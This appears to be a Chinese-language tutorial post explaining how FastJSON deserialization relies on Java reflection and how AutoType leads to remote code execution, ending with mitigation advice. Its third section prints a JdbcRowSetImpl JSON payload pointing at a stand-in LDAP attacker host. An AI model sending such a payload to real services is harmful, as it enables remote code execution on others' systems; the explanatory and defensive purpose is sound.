?? 剖析FastJSON 反序列化是如何利用的反射機(jī)制 ?? 一、反序列化是什么? 反序列化(Deserialization) :將字符串形式的數(shù)據(jù)(如 JSON)轉(zhuǎn)成 Java 對象的過程。
舉個例子,有一個 Java 類:
public class User { public String username; public int age; }
如果傳入 JSON:
{ "username" : "www.geekserver.top" , "age" : 20 }
我們可以使用 FastJSON 自動反序列化它:
User u = JSON.parseObject(jsonStr, User.class);
但問題是—— FastJSON 怎么知道怎么構(gòu)建這個類?怎么給字段賦值?這時候就用到了 Java 的反射機(jī)制。
?? 二、FastJSON 使用反射詳細(xì)分析 下面我們 從零開始拆解 FastJSON 是怎么用反射一步步把 JSON 字符串變成對象的。
?? 第 1 步:類加載 FastJSON 首先需要知道要反序列化成哪個類。
如果手動指定類(如 User.class
),就直接用; 如果啟用了 AutoType
,就從 JSON 的 @type
字段中讀取。 // 方式一:手動指定類 JSON.parseObject(jsonStr, User.class); Class<?> clazz = User . class ; // 方式二:AutoType 動態(tài)識別 JSON.parseObject(jsonStr); String className = jsonObj.get( "@type" ); Class<?> clazz = Class.forName(className);
反射關(guān)鍵點: Class.forName()
動態(tài)加載類 。
?? 第 2 步:實例化對象 FastJSON 會用 clazz.newInstance()
創(chuàng)建目標(biāo)類的實例。
Object obj = clazz.newInstance(); // 相當(dāng)于 new User()
反射關(guān)鍵點: 默認(rèn)調(diào)用類的無參構(gòu)造方法 。如果類沒有無參構(gòu)造,就報錯。
?? 第 3 步:遍歷字段,賦值屬性 FastJSON 會讀取 JSON 中的 key-value 對,然后:
具體如下:
Field field = clazz.getDeclaredField( "username" ); // 找到字段 field.setAccessible( true ); // 設(shè)置可訪問 field.set(obj, "Alice" ); // 設(shè)置值
對于多個字段會這樣循環(huán):
for (Map.Entry<String, Object> entry : jsonMap.entrySet()) { Field field = clazz.getDeclaredField(entry.getKey()); field.setAccessible( true ); field.set(obj, entry.getValue()); }
?? 結(jié)果:我們就用反射動態(tài)生成了一個對象! User u = (User) obj; System.out.println(u.username); // 輸出:Alice
??總結(jié) FastJSON的反序列化 JSON.parseObject(jsonStr, User.class);
相當(dāng)于進(jìn)行了如下操作:
// 1. 把 JSON 字符串轉(zhuǎn)成 Map 結(jié)構(gòu) Map<String, Object> jsonMap = new HashMap<>(); jsonMap.put( "username" , "alice" ); jsonMap.put( "age" , 18 ); // 2. 用反射創(chuàng)建對象實例 Class<?> clazz = User . class ; Object obj = clazz.newInstance(); // 默認(rèn)調(diào)用無參構(gòu)造 // 3. 用反射給字段賦值(字段名必須和 JSON 鍵一致) for (Map.Entry<String, Object> entry : jsonMap.entrySet()) { Field field = clazz.getDeclaredField(entry.getKey()); field.setAccessible( true ); // 解鎖私有字段 field.set(obj, entry.getValue()); // 賦值 } // 4. 返回強轉(zhuǎn)后的對象 User u = (User) obj;
?? 三、AutoType 與反射結(jié)合后的漏洞原理 我們現(xiàn)在明白了 FastJSON 會:
通過反射 Class.forName()
加載類; 用反射 newInstance()
創(chuàng)建對象; ? 那攻擊者可以怎么利用? 如果開啟了 AutoType,攻擊者就能傳一個精心構(gòu)造的 JSON,例如:
{ "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://attacker.com/Exploit" , "autoCommit" : true }
FastJSON 會:
調(diào)用其構(gòu)造方法創(chuàng)建對象; 自動調(diào)用 setDataSourceName("ldap://...")
; 內(nèi)部觸發(fā) JNDI 請求 → 遠(yuǎn)程加載惡意類 → 執(zhí)行代碼。 JdbcRowSetImpl
利用鏈分析 ?? FastJSON × JdbcRowSetImpl 利用鏈?zhǔn)欠襁€有效?全面解析如何突破 JDK 安全限制
?? 四、流程總結(jié) 階段 技術(shù) 說明 ??? 加載類 Class.forName()
反射動態(tài)加載任意類(危險?。?/span> ?? 創(chuàng)建對象 clazz.newInstance()
調(diào)用無參構(gòu)造方法實例化 ?? 設(shè)置屬性 field.set(obj, value)
設(shè)置攻擊字段觸發(fā)危險行為 ?? 利用漏洞類 JdbcRowSetImpl
自動觸發(fā) JNDI 請求 ?? 實現(xiàn) RCE JNDI + 遠(yuǎn)程類加載 下載并執(zhí)行遠(yuǎn)程惡意類
? 五、修復(fù)建議 防護(hù)措施 建議 ?? 禁用 AutoType 默認(rèn)關(guān)閉 setAutoTypeSupport(true)
? 配置白名單 ParserConfig.addAccept("com.safe.")
?? 升級 FastJSON 推薦 1.2.83+,更強防護(hù)機(jī)制 ?? 審計日志 檢查是否存在 @type
字段傳入
?? 六、總結(jié):為什么 FastJSON 漏洞離不開反射? Java 的反射機(jī)制讓 JSON 可以動態(tài)適配任何類; 攻擊者正是利用了反射的“全能”特性,構(gòu)造任意對象、注入惡意行為。
閱讀原文:原文鏈接
該文章在 2025/5/6 12:15:41 編輯過